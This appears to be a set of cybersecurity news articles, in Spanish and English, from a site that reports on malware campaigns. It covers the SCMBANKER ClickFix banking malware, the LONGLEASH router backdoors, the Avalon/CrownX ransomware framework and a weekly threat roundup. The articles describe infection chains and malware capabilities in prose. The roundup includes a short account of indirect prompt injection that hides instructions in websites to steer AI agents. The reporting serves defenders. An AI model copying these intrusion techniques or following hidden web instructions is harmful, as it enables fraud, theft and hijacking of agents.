El malware SCMBANKER utiliza señuelos ClickFix para atacar a los usuarios de la banca mexicana – CYBERDEFENSA.MX

Una nueva operación bancaria fraudulenta está dirigida a clientes de bancos, fintech, procesadores de pagos e intercambios de criptomonedas mexicanos que utilizan señuelos ClickFix.

El grupo de actividades, rastreado por Elastic Security Labs bajo el nombre REF6045implica infectar a las víctimas a través de páginas de verificación CAPTCHA falsas que las engañan para que ejecuten un comando malicioso que instala un kit de herramientas PowerShell denominado SCMBANKER. Algunos componentes del malware se remontan a octubre de 2025.

«Una vez instalado, el operador puede ver cuándo una víctima abre una sesión bancaria, bloquear la pantalla detrás de una advertencia bancaria falsa, empujar a las víctimas a una interacción telefónica en vivo, redirigir el navegador o reemplazar los números de cuenta copiados en el portapapeles», afirman los investigadores de seguridad Jia Yu Chan y Salim Bitam. dicho. «Para una adquisición total, también pueden implementar una herramienta comercial de acceso remoto».

SCMBANKER está diseñado específicamente para atacar el ecosistema financiero de México, y la evidencia apunta al uso de un modelo de lenguaje grande (LLM) para desarrollar una gran parte de las herramientas. El kit de herramientas admite una amplia gama de capacidades, que incluyen monitoreo de sesiones bancarias, captura de pantalla, superposiciones de vishing, redireccionamientos de phishing, manipulación del portapapeles e instalación de utilidades remotas.

Los hallazgos de Elastic surgen de una falla de seguridad operativa en la infraestructura REF6045, que hizo posible recuperar un archivo ZIP que contiene el directorio raíz web completo de la operación desde un directorio abierto ubicado en «68.211.161[.]46.»

Ciberseguridad

El punto de partida es una verificación CAPTCHA falsa que se disfraza como una página de verificación de seguridad, instando a las víctimas potenciales a resolver un desafío similar a Google reCAPTCHA para identificar imágenes que contienen una boca de incendio. Una vez que se completa el paso, se les presentan instrucciones para copiar y pegar un comando malicioso en el cuadro de diálogo Ejecutar de Windows.

Esto, a su vez, desencadena la ejecución de un script por lotes que es responsable de instalar el malware a través de un proceso de varias etapas, comenzando con una pantalla de actualización de Windows falsa.

«El script por lotes inicia inmediatamente Microsoft Edge en modo quiosco y apunta a una actualización falsa[.]net, un conocido sitio de pentesting/red team que muestra una pantalla falsa de Windows Update», dijo Elastic. «Esta distracción gana tiempo para que el script se ejecute completamente».

En la siguiente etapa, el script verifica si se está ejecutando como administrador y, si no, inicia un mensaje de Control de cuentas de usuario (UAC) de Windows cada 20 segundos, empujando efectivamente a la víctima a hacer clic en «Sí» en el cuadro de diálogo de consentimiento. Tan pronto como obtiene privilegios elevados, bloquea el movimiento del mouse. Este comportamiento, combinado con la pantalla falsa de actualización de Windows, obliga a la víctima a quedarse, dándole al malware tiempo suficiente para descargar el conjunto completo de herramientas en segundo plano utilizando el administrador de bits herramienta desde el mismo directorio.

Después de descargar los componentes de SCMBANKER en el host comprometido, configura la persistencia usando la carpeta de Inicio de Windows y una clave de Ejecución del Registro, después de lo cual envía mediante programación un evento de pulsación de tecla F11 para salir de la pantalla completa e inicia una secuencia de pulsación de tecla «Ctrl+W» para cerrar la pestaña falsa de actualización de Windows.

«Sin embargo, este enfoque sólo funciona en una ventana de navegador estándar de pantalla completa, no en modo quiosco», dijo Elastic. «Luego fuerza un reinicio con el comando de apagado /r /t 02 y cambia. Al reiniciar, el mecanismo de persistencia anterior a través de la tecla Ejecutar del Registro activa la ejecución del archivo VBScript (‘run.vbs’)».

El script de Visual Basic sirve como iniciador maestro para ejecutar varios módulos en paralelo:

  • edifhjwe.ps1, para actualización automática del kit de herramientas
  • cliente.ps1, para baliza de comando y control (C2) y control de implantes
  • avs.ps1, para descargar el instalador RAT de Remote Utilities para facilitar el acceso práctico a la máquina de la víctima
  • clip.ps1 y clip2.ps1, para número de cuenta CLABE y número de tarjeta, secuestro del portapapeles para redirigir transacciones
  • correr.ps1, para ejecución arbitraria de PowerShell
  • ini.ps1, un iniciador de «jujuzkt.ps1», un monitor de actividad bancaria que comprueba todos los títulos de ventanas visibles cada segundo en busca de coincidencias contra una lista de instituciones financieras mexicanas y, si se encuentra una coincidencia, toma capturas de pantalla y registra las pulsaciones de teclas
  • rotor2.ps1, un contenedor para «mensaje1.ps1», un motor de vishing que ofrece superposiciones falsas con advertencias de seguridad que indican a las víctimas que llamen a ciertos números de teléfono.
  • remo.ps1, un iniciador controlado por dirección IP para «jujuzkt2.ps1», un redirector de navegador que coincide con los títulos de las ventanas contra una listay, si hay una URL configurada, coloca una URL de phishing en el portapapeles, crea el navegador y envía una serie de eventos de pulsación de teclas (Ctrl+L, Ctrl+V e Intro) para llevar a la víctima a la página de inicio de phishing.

Uno de esos destinos de redireccionamiento, «’bancaporinternetbbmx[.]online», contiene un script de notificación de Telegram de carga de página que recopila detalles del navegador, del dispositivo y de la dirección IP, y envía la información a un chat de Telegram, alertando al operador que una víctima redirigida ha alcanzado el atractivo para ataques posteriores.

Ciberseguridad

«Los guiones muestran fuertes signos de ayuda de la IA, muy probablemente al generar un modelo de lenguaje grande en español y luego aplicar ofuscación manual», dijo Elastic.

«El código tiene una personalidad dividida, con nombres de funciones limpios y descriptivos y comentarios explicativos intensos junto a variables acortadas a mano y artefactos de generación sobrantes. La ubicación de comentarios similares a instrucciones directamente encima del código que describen sugiere que los autores han solicitado un asistente de codificación en línea como Copilot o Cursor».

En conjunto, los hallazgos representan el trabajo de un actor de amenazas que se ha apoyado en la IA para ensamblar un tosco conjunto de herramientas que se caracteriza mejor por copiar y pegar archivos por lotes, mala artesanía y fallas de seguridad operativa.

«Las víctimas se mantienen como una fuente pasiva mientras el operador observa un panel en vivo y ataca solo a los objetivos que valen la pena, activando redireccionamientos del navegador, bloqueos de vishing, intercambios de portapapeles o un RAT completo por IP, a pedido», concluyeron los investigadores. «Por más crudo que sea, SCMBANKER ya tiene víctimas reales. El contador de víctimas en vivo y las máquinas etiquetadas en los paneles del propio operador muestran que personas individuales están siendo atacadas activamente».

El UAT-7810 vinculado a China amplía la red ORB con el nuevo malware LONGLEASH – CYBERDEFENSA.MX

Un actor de amenazas chino rastreado como UAT-7810 está refinando activamente su malware personalizado para expandir su red Operational Relay Box (ORB) irrumpiendo en dispositivos de red conectados a Internet.

Según los hallazgos de Cisco Talos, UAT-7810 es un actor de amenaza persistente avanzada (APT) responsable de mantener y hacer proliferar LapDogs, una red ORB que salió a la luz por primera vez en junio de 2025.

«Lo más probable es que UAT-7810 tenga la tarea de establecer redes de cajas de retransmisión operativas (ORB) que luego puedan ser aprovechadas por actores de amenazas secundarios asociados para llevar a cabo sus propios ataques maliciosos contra objetivos de alto valor», investigadores Jungsoo An, Asheer Malhotra, Vanja Svajcer y Brandon White. dicho.

Uno de esos actores de amenazas del nexo con China que ha aprovechado la infraestructura en sus propios ataques es el UAT-5918, que ha estado vinculado a ataques cibernéticos dirigidos a entidades de infraestructura crítica en Taiwán desde al menos 2023 con el objetivo de establecer un acceso persistente dentro de los entornos de las víctimas.

Ciberseguridad

Los últimos hallazgos indican que UAT-7810 ha seguido desarrollando su malware personalizado denominado ShortLeash con una versión más nueva cuyo nombre en código es LONGLEASH. El actor de amenazas también utiliza otras dos herramientas no reportadas anteriormente:

  • DOGLEASH, una puerta trasera pasiva que puede ejecutar shellcode arbitrario en un dispositivo Linux comprometido
  • LASHTEST, un binario ELF que se utiliza para probar ciertas funciones, como crear un hilo, un proceso hijo o un temporizador asíncrono, en dispositivos integrados basados ​​en MIPS.

«UAT-7810 utilizó al menos cuatro servidores nuevos para alojar una variedad de variaciones menores de DOGLEASH para implementar contra objetivos comprometidos», agregaron los investigadores. «UAT-7810 también implementó una puerta trasera adicional basada en Java (paquete JAR) que rastreamos como ‘JARLEASH’ en al menos uno de los tres servidores con fines administrativos, incluida la gestión de archivos, FTP, SFTP y Netcat».

Se sabe que las cadenas de ataques montadas por el equipo de hackers convierten en armas vulnerabilidades conocidas en enrutadores inalámbricos Ruckus sin parches, como CVE-2020-22653, CVE-2020-22658y CVE-2023-25717. Las campañas observadas a principios de este año también han señalado a los enrutadores ASUS AiCloud susceptibles a CVE-2025-2492lo que indica posibles intentos de ampliar la red ORB.

ShortLeash incorpora una puerta trasera capaz de contactar con un servidor externo, alojar un servidor web y actuar como servidor y cliente de comando y control (C2). Su sucesor, LONGLEASH, incluye funciones adicionales, lo que indica un ciclo de desarrollo activo. Algunas de las características más nuevas se enumeran a continuación:

  • Un componente ejecutor que habilita funciones de proxy utilizando los protocolos HTTP, DNS, SOCKS, TCP, ICMP y UDP, administra las conexiones de red a otros servidores, autoriza a los clientes y elimina el implante y todos los rastros del servidor si se detecta algún intento de manipulación.
  • Actuar como un servidor C2 intermedio para transmitir comandos y datos desde el C2 primario y reenviarlos a sus pares.

«El desarrollo y uso de LEASHTEST significa que a pesar de que han desarrollado LONGLEASH, un marco de puerta trasera completo, UAT-7810 todavía está probando activamente la funcionalidad en plataformas MIPS y puede no estar completamente seguro de su comportamiento en dispositivos MIPS», dijo Talos.

Proxy Botnets, Browser Ransomware, AI Agent Tricks, Fake PoC Malware and More – CYBERDEFENSA.MX

A streaming box should not need a threat model. Neither should a username field, a demo repo, a reset flow, or a browser permission prompt. That is the irritating part this week: the risky pieces were ordinary.

Home devices became a routing cover. Clean code pulled dirt from a dependency. Identity shortcuts aged badly. AI systems trusted the wrong instructions. Same soft spot throughout: trust placed one layer too early.

Below is the full recap, since this is apparently what counted as a normal week.

⚡ Threat of the Week

NetNut Residential Proxy Network Disrupted — Google, in collaboration with the U.S. Federal Bureau of Investigation (FBI), Lumen, and other partners, took action against the NetNut residential proxy network, also known as Popa, building upon its takedown of IPIDEA in January 2026. Google said it disabled Google accounts and associated Google services used by NetNut for malware command-and-control (C2) and updated Google Play Protect, in addition to disabling applications known to incorporate NetNut SDKs. The size of the network is estimated to be at least 2 million devices globally. «NetNut populates its botnet by distributing SDKs for devices commonly found in homes, such as smart TVs and streaming boxes,» Google said, adding it «identified NetNut botnet plugin components for large-scale botnets such as BADBOX 2.0.» The end goal is to leverage the route traffic through these devices, allowing bad actors to mask malicious activity. The devices are pre-installed with malware before purchase or because users unknowingly download applications containing hidden proxy code.

🔔 Top News

  • WhatsApp Gets Usernames But Impersonation Concerns Are Raised — WhatsApp officially announced the start of global reservations of usernames with an aim to protect the privacy of more than three billion users on the messaging platform. The optional feature is designed to help users connect with someone on the service through usernames, as opposed to directly sharing their phone numbers. The feature is expected to be generally available later this year. The rollout marks a shift in how people identify one another on the messaging app. It has also drawn scrutiny in India, its largest market, over concerns it could be abused to impersonate public authorities, financial institutions, government departments, and other prominent figures. While Meta told TechCrunch it reserves usernames for public figures, government entities, and some of their variations so that only legitimate users can claim them, it’s currently not clear how it decides which lookalike usernames get reserved and which don’t.
  • ChocoPoC RAT Targets Vulnerability Researchers with Fake PoC Exploit Repos — Security researchers on the lookout for Python-based proof-of-concept (PoC) repositories on GitHub claiming to exploit new CVEs are being tricked into executing malicious code that delivers ChocoPoC. While the PoC in itself looks clean, the actual malware sits inside a dependency named «skytext» pulled by the PoC. The malware is a full-featured trojan capable of harvesting passwords, cookies, autofill, and history from Chrome, Brave, Edge, and Firefox. It also captures text files, notes, local databases, shell history, network settings, and a list of running processes, as well as supports running arbitrary shell commands or Python code.
  • 19-Year-Old Alleged Scattered Spider Suspect Extradited to the U.S. — Peter Stokes (aka Bouquet, Spencer, and Jordan), a 19-year-old man with dual U.S. and Estonian citizenship, was extradited from Finland to the U.S. to face criminal charges over his involvement in a criminal scheme in connection with the Scattered Spider hacking group. Finnish police arrested him in April 2026. Stokes and other Scattered Spider members are alleged to have breached an unspecified «luxury-jewelry retailer» in May 2025 and demanded an $8 million ransom in cryptocurrency. The company incurred at least $2 million in losses from business disruption, incident response, and recovery efforts. Stokes was involved in at least four Scattered Spider breaches, the Justice Department said. Stokes faces charges of fraud, conspiracy, and computer intrusion.
  • Ousaban Banking Trojan Targets Spain and Portugal — A new Brazilian banking trojan called Ousaban has been observed using fake PDF documents containing a link to a malicious web page that scans the user’s environment. «If they are in Spain or Portugal, the webpage downloads a VBS file to kickstart the next part of the attack,» Fortinet said. «The final payload is an EXE file that is dropped onto the victim’s computer and executed by the VBS script.» Ousaban gets triggered when victims visit a banking site, at which point it captures screenshots and keystrokes, tampers with the clipboard, and enables remote control.
  • AI-Generated Browser Ransomware Exploits Chromium File Access API — A new malware artifact generated using DeepSeek has constructed a novel attack path combining «unrealistic browser-malware concepts with a real browser capability» to turn it into a working ransomware technique that runs entirely inside the browser on Windows, Linux, macOS, and Android devices. The approach is limited to web browsers that expose the picker-based File System Access API. This includes Google Chrome and other Chromium-based browsers across Windows, macOS, ChromeOS, Linux, and Android. There is no evidence that the browser-native ransomware pattern has been abused in the wild. «What we are witnessing is a fundamental shift in how novel cyber attacks are born,» Check Point said. «For the first time, we have evidence that an AI model can independently reason across legitimate platform features and surface a working attack technique that humans had only theorised about – without the attacker ever knowing the underlying API existed.»

🔥 Trending CVEs

Bugs drop weekly, and the gap between a patch and an exploit is shrinking fast. These are the heavy hitters for the week: high-severity, widely used, or already being poked at in the wild.

Check the list, patch what you have, and hit the ones marked urgent first — CVE-2026-48276, CVE-2026-48283, CVE-2026-48277, CVE-2026-48281, CVE-2026-48316, CVE-2026-48282, CVE-2026-48313, CVE-2026-48315 (Adobe ColdFusion), CVE-2026-48286 (Adobe Campaign Classic), CVE-2026-50548, CVE-2026-50549 (Cursor), CVE-2026-46242 aka Bad Epoll (Linux Kernel), CVE-2026-6682, CVE-2026-6687, CVE-2026-6688 (FatFs), CVE-2026-8037 (Progress Kemp LoadMaster), CVE-2026-28701, CVE-2026-33560, CVE-2026-31928 (Daktronics Controller Firmware), CVE-2026-41120 (Dell Wyse Management Suite), CVE-2026-41492 (Dgraph), CVE-2026-55047 (Anthropic Buffa), from CVE-2026-13774 through CVE-2026-13788 (Google Chrome), CVE-2026-48519, CVE-2026-48520, CVE-2026-7528, CVE-2026-7524 (Langflow), CVE-2026-3199 (Sonatype Nexus Repository), CVE-2026-12166, CVE-2026-12167, CVE-2026-12168 (Little Orbits GameFirst Anti-Cheat driver), CVE-2026-56141, CVE-2026-56142, CVE-2026-50242, CVE-2026-50242 (JetBrains), CVE-2026-20213, CVE-2026-20214, CVE-2026-20215, CVE-2026-20216, CVE-2026-20217, CVE-2026-20243, CVE-2026-20244 (ClamAV), CVE-2026-20191 (Cisco Catalyst Center), CVE-2026-53917, CVE-2026-54475, CVE-2026-49877 (Apache ActiveMQ), CVE‑2026‑13050, CVE‑2026‑13053, CVE‑2026‑13054, CVE-2026-13079 (WatchGuard Fireware OS), CVE-2026-45504 (Microsoft Exchange Server), CVE-2026-14191 (WinRAR), CVE-2026-44024, CVE-2026-44025 (Fluentd), CVE-2026-55957, CVE-2026-55956 (Apache Tomcat), CVE-2026-13136, CVE-2025-15660 (Synology MailPlus Server), CVE-2026-22678, CVE-2026-49102, CVE-2026-49103, CVE-2026-42210, CVE-2026-56022 (Webmin), from CVE-2026-12044 through CVE-2026-12050 (pgAdmin), CVE-2025-66273, CVE-2025-66279, CVE-2026-22893 (QNAP QTS, QuTS hero, QuTS cloud, and QVP), CVE-2026-11310, CVE-2026-11999, CVE-2026-6679, CVE-2026-55958, CVE-2026-55960, CVE-2026-55961 (wolfSSL), CVE-2026-48611 (phpBB), and CVE-2026-20896 (Gitea).

🎥 Cybersecurity Webinars

  • AI Attacks Are Moving Faster Than Your Defenses → AI is helping attackers write better lures, change tactics faster, and run campaigns at a scale many security teams are not built to handle. This webinar breaks down how AI-powered threats like Mythos gain access, move through environments, and expose the limits of traditional network-based defenses—then shows how teams can reduce attack surface, stop lateral movement, and contain risky behavior before it turns into a major incident.
  • Your AI Agents Need a Kill Switch → AI agents can do more than make mistakes—they can expose credentials, bypass controls, and become a new attack surface inside the business. This webinar uses hands-on findings from OpenClaw testing to show where agentic AI breaks down, why guardrails are not enough, and how teams can reduce risk with identity-based governance, least-privilege access, short-lived secrets, logging, auditing, and visibility into shadow AI use.

📰 Around the Cyber World

  • Indirect Prompt Injection Attacks Targets AI Agents for Typosquatting and Payment Scam — Threat actors are using indirect prompt injection (IPI) to hide instructions in websites, attempting to trick an AI agent into following the attacker’s instructions. «The observed campaigns combine SEO poisoning with CSS/HTML abuse to both manipulate search results and conceal prompt-style instructions that influence AI decision making,» Zscaler said. «When AI agents misclassify malicious websites as legitimate, they increase the risk of context contamination and downstream Retrieval-Augmented Generation (RAG) poisoning.»
  • Dropping Elephant Delivers In-Memory RAT — The threat actor known as Dropping Elephant (aka Patchwork) has been observed using a China-themed energy-sector contract lure to deliver a heavily reworked, in-memory remote access trojan (RAT). «This campaign demonstrates advanced evasion techniques, including DLL side-loading with a legitimate Microsoft binary (Fondue.exe) and the use of ‘Donut’ shellcode to map the RAT directly into memory, effectively bypassing traditional disk-based security controls,» Rapid7 said. «The revamped RAT significantly complicates detection by using control-flow flattening, runtime API reconstruction, and hardened C2 communications.» The malware supports directory listing, file upload/download, screenshot capture, and command execution capabilities.
  • Microsoft Updates SSPR to Require Registered Authentication Methods — Starting September 7, 2026, Microsoft said Entra self-service password reset will require users to have explicitly registered authentication methods for password reset verification, while explicitly disallowing directory-sourced contact information unless registered. «Currently, SSPR may allow users to verify their identity using contact information stored in directory attributes such as mobile phone, business phone, and alternate email, even if those values were never explicitly registered as authentication methods,» Microsoft said. «To strengthen identity security, SSPR will require explicitly registered authentication methods for verification. This change is part of Microsoft’s Secure Future Initiative and ensures password reset verification is based on trusted, user-validated methods rather than directory-sourced attributes.» The development comes as the Windows maker has introduced jailbreak and root detection for Entra credentials in the Microsoft Authenticator app on both iOS and Android platforms, preventing Entra credentials from functioning on jailbroken/rooted devices.
  • Scammers Exploit Trusted Brand Names to Drive Casino Traffic — Scam advertising campaigns are impersonating trusted brands to drive consumers to unrelated online gambling sites. «These campaigns utilize paid social ads, fake app store pages, and Progressive Web Apps to make users believe that well-known brands have launched ‘official’ casino or slot products,» Netcraft said. «The scams begin with an ad on social media platforms such as Facebook, Instagram, and TikTok. The ad claims that a recognizable brand has launched ‘[Brand] Slots’ or a similar gambling product. Upon interacting with the ad, the user is taken to a fake landing page designed to look like an official app store listing or branded game page. Instead of installing a real app, the user is prompted to add a Progressive Web App to their device, which opens an unrelated online casino through affiliate tracking links.»
  • PhishLumos as a Way to Counter Cloaking-Based Phishing Threats — As phishing continues to be a persistent threat in cybersecurity, researchers from Tokyo Metropolitan University and NTT Security Holdings have demonstrated PhishLumos to counter campaigns that evade automated scanners through cloaking and selective blocking techniques. «When content is missing, deceptive, or inaccessible, PhishLumos pivots to infrastructure evidence, including shared domains, IP addresses, certificates, and historical scan metadata,» the researchers said. «It consolidates observations into a typed property graph knowledge base with a deterministic, idempotent merge operator and provenance for auditable investigations. A supervisor agent coordinates specialized agents and synthesis agents powered by large language models to profile campaigns and generate empirically validated detection rules for deployment in existing controls.»
  • CVE Explosion in the AI Era — With artificial intelligence (AI) and large language models (LLMs) accelerating vulnerability discovery, a new report from ProjectDiscovery has found that 30,550 CVEs have been published so far in 2026, a figure that’s expected to eclipse 2025’s 49,458 CVEs. Of these, 2,906 are rated critical, and 11,187 are rated high in severity. In contrast, a total of 30,361 CVEs were published in 2023. «The exploitable surface is doubling faster than defenders can absorb,» ProjectDiscovery said. When the median time-to-exploit is days and the mean is negative, a 55-day critical-remediation cycle is not a process, it’s an open door. If attackers are weaponizing bugs in minutes with AI, the response, finding them, proving they’re real and handing developers a fix, has to run continuously and autonomously, not on a calendar.»
  • New ClickFix Campaign Uses Blockchain C2 — An active malware-as-a-service (MaaS) operation is abusing the Polygon (MATIC) blockchain as a resilient C2 configuration with a ClickFix lure. More than 130 compromised lure websites have been detected so far as part of the campaign. «Compromised websites are injected with a script named tracker.js, appearing as ‘JokerStat Analytics Tracker,’» Palo Alto Networks Unit 42 said. «In addition to the clipboard injection, this script performs screenshot and victim-session telemetry exfiltration every 2 minutes.» When a victim visits a compromised site, the injected JavaScript performs a blockchain lookup to fetch the C2 server URL. «After C2 resolution, tracker.js starts collecting victim telemetry, including pageview events, heartbeat and screenshots,» Unit 42 said. «The same tracker.js then injects the clipboard content personalized per victim. The victim sees a fake CAPTCHA overlay and follows the instructions leading to a ClickFix attack.» The attack culminates with the deployment of an infostealer written in Ruby.
  • 2 Venezuela Nationals Sentenced in ATM Jackpotting Attacks — Two illegal aliens from Venezuela, Carlos Javier Padron, 36, and Arnoldo Cabrera Torrealba, 37, were sentenced to 78 months in prison in the U.S. for their involvement in ATM jackpotting activities. The two individuals pleaded guilty to one count of conspiracy to commit bank burglary and one count of computer fraud and intentional damage to a protected computer. The defendants built and deployed a variant of the Ploutus malware on ATMs across the country and used it to withdraw money without authorization. «The conspiracy relied on individuals, including Padron and Torrealba, to deploy the Ploutus malware onto ATMs in person,» the U.S. Justice Department said. «Once installed and activated, the malware permitted the co-conspirators to issue commands to the cash dispensing module of the ATM in order to force unauthorized withdrawals of currency.» Padron and Torrealba were also ordered to jointly pay $1.53 million in restitution. More than 90 other defendants have been charged over their roles in the operation.
  • Bypassing Microsoft Entra Conditional Access Policies — NetSPI said it found a way to bypass Microsoft Entra Conditional Access Policies by abusing Nested App Authentication to return access tokens for the Microsoft Graph API. «It was possible to use certain Nested App Authentication (or BroCI) flows to bypass any Conditional Access policy,» security researcher Thomas Byrne said. «This vulnerability served mainly as a persistence mechanism as it would have required a successful phishing attack to return an initial refresh token before the vulnerable authentication flows could be carried out.» A fix for the issue has since been rolled out by Microsoft.
  • Threat Actors Target Laravel Livewire Flaw — More than 6,100 applications have been compromised as part of a campaign targeting CVE-2025-54068, a critical unauthenticated RCE vulnerability in Laravel Livewire, to deliver a credential stealer by means of a shell script. The stealer harvests database-related configurations, Stripe secret keys, SMTP passwords, Google OAuth client secrets, JWT secrets, and AWS IAM credentials from .env files and exfiltrates them to a remote server. The campaign is assessed to have been underway for several months. «Recovery and analysis of the attacker’s exfiltration infrastructure revealed credentials harvested from 6,167 distinct applications spanning dozens of countries and sectors, from e-commerce and healthcare to financial services, education, and government,» Imperva said. «The attacker’s FTP server contained 1,851+ database dumps and 18+ email lists with over 26 million addresses, indicating the stolen credentials were being actively exploited.» The activity has been attributed to an Indonesian-origin threat actor.
  • Booking.com Partner Firms Targeted in TONResolver Campaign — Attackers are targeting employees of Booking.com partner companies in Japan using phishing emails that impersonate guest complaints and review requests to trick hotel staff into executing malicious files. The emails are sent using the notification functionality of a scheduling tool service, allowing them to bypass SPF, DKIM, and DMARC checks. The attacks led to the deployment of TONResolver, which abuses the Open Network (TON) blockchain platform as a dead drop resolver. «In this attack, a ZIP file was downloaded by accessing a hyperlink to a suspicious website, and the infection began when the user clicked a shortcut link file (LNK) disguised as a photo file within the ZIP archive,» Trend Micro said. This triggers the execution of PowerShell that fetches and runs the JavaScript-based TONResolver malware using «node.exe,» a core executable file for Node.js. The malware then connects to the C2 server obtained from the TON platform for additional attack execution and sends commands.
  • Mamont Android Malware Dissected — An Android malware called Mamont is distributed via dropper apps masquerading as dating services to facilitate financial fraud. «The dropper and its embedded companion APK work in tandem to silently install, launch, and maintain control over the victim device while performing financial reconnaissance and awaiting attacker instructions,» NCC Group said. A second variant of the malware has been found to serve phishing overlays inside Android WebView components at runtime, while also initiating phone calls, collecting installed applications, gathering device/network information, and manipulating system behavior to suppress notifications. «Additionally, it can execute commands dynamically based on input, indicating remote control functionality, and it reports execution results back through an internal handler or communication channel,» security researcher Vamsi Pavuluri said.
  • 2 Campaigns Deliver AsyncRAT — Phishing emails containing a Dropbox URL as well as macro-laced spreadsheets to distribute AsyncRAT malware. «When the recipient clicks on the link, a ZIP file is downloaded,» Forcepoint said. «This file contains an Internet shortcut file in a .URL format. Opening this file leads to downloading multiple malware payloads in the background while the user is deceived by a legitimate-looking PDF opening. This file leads to a .lnk file, which then leads to a JavaScript file. This JS file links to a .BAT file, which hosts malicious content that ultimately delivers another ZIP file. This new ZIP file houses the Python script used to execute the AsyncRAT malware.» The second campaign, detailed by LevelBlue, involves the use of generic emails targeting sales, procurement, and vendor management staff with a malicious spreadsheet that uses an embedded macro to download an HTA script, which then performs environment checks before delivering AsyncRAT or Remcos RAT.
  • Clubfoot Wolf and Fluffy Wolf Targets Russia — BI.ZONE has disclosed cyber attacks mounted by an intrusion set it tracks as Clubfoot Wolf targeting a wide range of Russian sectors using spear-phishing emails to deliver NetSupport RAT to establish persistent remote access. A second threat cluster dubbed Fluffy Wolf has leveraged malicious email attachments and GitHub repository URLs to redirect recipients to ZIP archives that deliver PureLogs Stealer, PureRAT, and the Pay2Key ransomware. Also put to use in the attacks is a previously unreported C++ downloader called PowerLoader to fetch malicious PowerShell scripts from the C2 server over HTTP. In this attack chain, the loader is responsible for retrieving PureCrypter, which then launches the final payload.
  • Multiple PhaaS Kits Spotted in the Wild — A number of phishing-as-a-service (PhaaS) toolkits have been identified: CodeStorm (which is a tenant-aware Microsoft 365 phishing kit), ARToken (a fully-featured PhaaS operator panel that shares overlaps with EvilTokens, a device code phishing toolkit), Console (for harvesting AWS console credentials), Mirage2FA (which uses short-lived HTML smuggling and obfuscated JavaScript-loaders to deliver fake Microsoft 365 login pages), and Bluekit (which uses browser-in-the-middle technique to load the legitimate login page inside an attacker-controlled browser, causing the victim to log into their accounts on the attacker’s machine). At the same time, reports indicate that the Tycoon 2FA PhaaS service has resurfaced with new infrastructure and obfuscation layers following its law enforcement takedown back in March 2026. These developments also coincide with a surge in device code phishing attacks that exploit legitimate OAuth flows. Specifically, the attack tricks users into entering a device code that then issues active cookies and tokens directly to the attacker’s device, bypassing multi-factor authentication (MFA). In tandem, Chinese-language phishing-as-a-service (PhaaS) communities are expanding in an area historically dominated by Russian-speaking cybercriminal groups. One such PhaaS service is the Darcula platform, linked to threat actor UNC5814, which has abandoned static phishing templates in favor of AI-powered page generators and browser automation tools, Loke Puppeteer, that can clone legitimate websites by replicating their HTML, CSS, JavaScript, and visual elements. Because each generated phishing page is unique, traditional signature-based detection methods are rendered ineffective. While PhaaS is at the core of these operations, these developers also typically offer numerous ancillary services, including the sale of personal and financial information. According to a report from Group-IB, data brokers active in Chinese-speaking dark web forums and Telegram channels are advertising large volumes of purportedly stolen data from organizations worldwide. These include marketplaces like Exchange Market, Chang’An Sleepless Night, Aiqianjin, Yiqun Data, and Phoenix Overseas Resources.

🔧 Cybersecurity Tools

  • T3MP3ST → It is an open-source offensive security framework that connects to an AI coding agent and uses it to run authorized security tests across web apps, CTF-style challenges, source code, and other targets. It provides a browser War Room and CLI for recon, exploit testing, and reporting, while its maintainers state it should only be used on systems the user owns or has written permission to test.
  • NOX → It is an open-source Go-based tool for attack surface management, reconnaissance, and vulnerability scanning. It can run passive checks, quick probes, custom YAML workflows, or a full scan using 299 built-in modules across OSINT, subdomains, DNS, ports, web fingerprinting, and deeper vulnerability tests. Its maintainers warn that active scans make real network requests and should only be run against systems the user owns or has written permission to test.

Disclaimer: This is strictly for research and learning. It hasn’t been through a formal security audit, so don’t just blindly drop it into production. Read the code, break it in a sandbox first, and make sure whatever you’re doing stays on the right side of the law.

Conclusion

Most of this week’s problems did not need a clever attacker so much as a useful opening. A trusted device, a trusted repo, a trusted reset path, a trusted browser feature. That word did a lot of damage.

Patch what is yours. Question what looks too clean. And maybe stop assuming the boring parts are safe just because they look boring.

El nuevo marco de malware Avalon incluye capacidades de ransomware CrownX – CYBERDEFENSA.MX

Investigadores de ciberseguridad han descubierto un marco de malware modular previamente no documentado con nombre en código Ávalón que se distribuye mediante una cadena de phishing de varias etapas capaz de burlar los controles de seguridad tradicionales.

Avalon combina recopilación de credenciales, movimiento lateral, acceso remoto, interrupción de la recuperación y ejecución de ransomware, reuniendo diversas funciones bajo un mismo paraguas. El componente de ransomware se ha denominado internamente CrownX.

«El ataque comenzó con un correo electrónico con un documento legal falsificado que dirigía a los destinatarios a un archivo protegido con contraseña en Proton Drive», afirman los investigadores de Blackpoint Cyber, Nevan Beal y Sam Decker. dicho. «El contenido malicioso se incrustó dentro de una imagen ISO en lugar de adjuntarse directamente, lo que redujo la probabilidad de detección en la capa de correo electrónico».

Si el destinatario del correo electrónico interactúa con un acceso directo de Windows con tema de documento («Documento seguro CA-283505.pdf.lnk») dentro de la imagen montada, se desencadena una secuencia de malware preparada que culmina con la implementación de Avalon. Específicamente, el acceso directo ejecuta un comando para iniciar un proyecto de MSBuild ubicado en la imagen ISO.

El proyecto MSBuild, por su parte, carga un ensamblado .NET integrado, que luego interfiere con el funcionamiento normal de Event Tracing para Windows (ETW) para reducir la visibilidad forense y descargar una carga útil de la siguiente etapa a través de HTTPS responsable del lanzamiento de Avalon.

Ciberseguridad

El marco de malware cuenta con un extenso subsistema de evasión de defensa que tiene como objetivo evadir la detección, al tiempo que incorpora métodos específicos para ocultar la ejecución de las herramientas de seguridad asociadas con Microsoft Defender, SentinelOne, CrowdStrike, Sophos, Elastic Endpoint, FortiEDR, ESET, McAfee y Bitdefender.

«Estas capacidades le dan al marco una multitud de formas de reducir la telemetría, evitar el monitoreo del modo de usuario y ajustar su ejecución dependiendo de los controles defensivos presentes en el host», dijeron los investigadores.

El conjunto completo de funciones integradas en Avalon es el siguiente:

  • Obtenga credenciales, cookies, historial y marcadores de navegadores basados ​​en Chromium y Mozilla Firefox.
  • Recopile datos de aplicaciones de billeteras de criptomonedas como MetaMask, Phantom, Coinbase Wallet, Exodus, Electrum, Atomic Wallet, Ledger Live y Bitcoin Core, junto con Discord, Slack, Teams, OpenVPN, WireGuard y Windows Credential Manager.
  • Recopile detalles sobre hosts conocidos de SSH, conexiones RDP guardadas, perfiles de Wi-Fi y artefactos de contraseña de preferencias de política de grupo.
  • Exfiltrar datos a un servidor remoto («helloxcherry[.]com») y sondea el servidor para recibir comandos de tareas.
  • Realice reconocimientos y priorice sistemas que puedan ampliar el alcance del compromiso.
